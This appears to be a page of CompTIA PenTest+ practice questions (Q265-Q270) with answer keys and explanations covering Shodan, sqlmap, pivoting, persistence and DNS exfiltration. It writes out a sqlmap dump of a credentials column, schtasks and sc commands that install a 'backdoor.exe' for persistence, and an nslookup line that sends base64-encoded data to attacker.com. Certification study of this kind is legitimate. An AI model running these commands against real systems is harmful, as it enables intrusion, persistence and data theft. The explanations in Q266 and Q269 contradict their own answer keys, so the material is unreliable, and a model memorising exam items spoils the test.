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CompTIA PenTest+ Exam Sample Questions (Q265-Q270):

NEW QUESTION # 265

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "default-passwords"
- B. "cisco-ios" "admin+1234"

- C. "cisco-ios" "last-modified"
- D. "cisco-ios" "no-password"

Answer: D

NEW QUESTION # 266

During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?

- A. `sqlmap -u www.example.com/?id=1 --search -T user`
- B. `sqlmap -u www.example.com/?id=1 --schema --current-user --current-db`
- C. `sqlmap -u www.example.com/?id=1 --tables -D accounts`
- D. `sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred`

Answer: D

Explanation:

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The `--dump` command in `sqlmap` is used to dump the contents of the specified database table. Here's a breakdown of the options:

- * Option A: `sqlmap -u www.example.com/?id=1 --search -T user`
* The `--search` option is used to search for columns and not to dump data. This would not enumerate password hashes.
- * Option B: `sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred`
* This command uses `--dump` to extract data from the specified database accounts, table users, and column cred. This is the correct option to enumerate password hashes, assuming cred is the column containing the password hashes.
- * Option C: `sqlmap -u www.example.com/?id=1 --tables -D accounts`
* The `--tables` option lists all tables in the specified database but does not extract data.
- * Option D: `sqlmap -u www.example.com/?id=1 --schema --current-user --current-db`
* The `--schema` option provides the database schema information, and `--current-user` and `--current-db` provide information about the current user and database but do not dump data.

References from Pentest:

- * Writeup HTB: Demonstrates using `sqlmap` to dump data from specific tables to retrieve sensitive information, including password hashes.
- * Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database.

NEW QUESTION # 267

Which of the following techniques is used for pivoting, allowing an attacker to access internal resources from a compromised host?

- A. Create an SSH tunnel using `sshuttle` to forward all the traffic to the compromised computer.
- B. Configure a VNC server on the target network and access the VNC server from the compromised computer.
- C. Set up a Metasploit listener on the compromised computer and create a reverse shell on the target network.
- D. Create a Netcat connection to the compromised computer and forward all the traffic to the target network.

Answer: A

Explanation:

Pivoting allows attackers to use a compromised host as a gateway to access internal resources.

- * Create an SSH tunnel using `sshuttle` (Option A):
* `sshuttle` creates a transparent VPN-like connection over SSH, allowing the tester to forward traffic securely.
- * Advantages:
* Provides encryption, preventing IDS/IPS detection.
* Requires minimal interaction with the compromised host.

NEW QUESTION # 268

A penetration tester gains initial access to a target system by exploiting a recent RCE vulnerability. The patch for the vulnerability will be deployed at the end of the week. Which of the following utilities would allow the tester to reenter the system remotely after the

patch has been deployed? (Select two).

- A. chgusr.exe
- **B. sc.exe**
- C. rundll.exe
- **D. schtasks.exe**
- E. netsh.exe
- F. cmd.exe

Answer: B,D

Explanation:

To reenter the system remotely after the patch for the recently exploited RCE vulnerability has been deployed, the penetration tester can use schtasks.exe and sc.exe.

schtasks.exe:

Purpose: Used to create, delete, and manage scheduled tasks on Windows systems.

Persistence: By creating a scheduled task, the tester can ensure a script or program runs at a specified time, providing a persistent backdoor.

Example:

schtasks /create /tn "Backdoor" /tr "C:\path\to\backdoor.exe" /sc daily /ru SYSTEM sc.exe:

Purpose: Service Control Manager command-line tool used to manage Windows services.

Persistence: By creating or modifying a service to run a malicious executable, the tester can maintain persistent access.

Example:

sc create backdoor binPath= "C:\path\to\backdoor.exe" start= auto

Other Utilities:

rundll.exe: Used to run DLLs as applications, not typically used for persistence.

cmd.exe: General command prompt, not specifically used for creating persistence mechanisms.

chgusr.exe: Used to change install mode for Remote Desktop Session Host, not relevant for persistence.

netsh.exe: Used for network configuration, not typically used for persistence.

Pentest Reference:

Post-Exploitation: Establishing persistence is crucial to maintaining access after initial exploitation.

Windows Tools: Understanding how to leverage built-in Windows tools like schtasks.exe and sc.exe to create backdoors that persist through reboots and patches.

By using schtasks.exe and sc.exe, the penetration tester can set up persistent mechanisms that will allow reentry into the system even after the patch is applied.

NEW QUESTION # 269

A penetration tester has discovered sensitive files on a system. Assuming exfiltration of the files is part of the scope of the test, which of the following is most likely to evade DLP systems?

- A. Padding the data and uploading the files through an external cloud storage service.
- **B. Encoding the data and pushing through DNS to the tester's controlled server.**
- C. Obfuscating the data and pushing through FTP to the tester's controlled server.
- D. Hashing the data and emailing the files to the tester's company inbox.

Answer: B

Explanation:

DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.

Encoding the data and exfiltrating through DNS (Option A):

DNS is often overlooked by DLP systems because it is required for network functionality.

Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.

Example method

echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com

Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Data Exfiltration Techniques" Incorrect options:

Option B (Cloud storage): Many organizations monitor file uploads to cloud storage.

Option C (FTP): FTP is easily monitored and flagged by DLP solutions.

Option D (Hashing and emailing): Emails are actively scanned by DLP policies.

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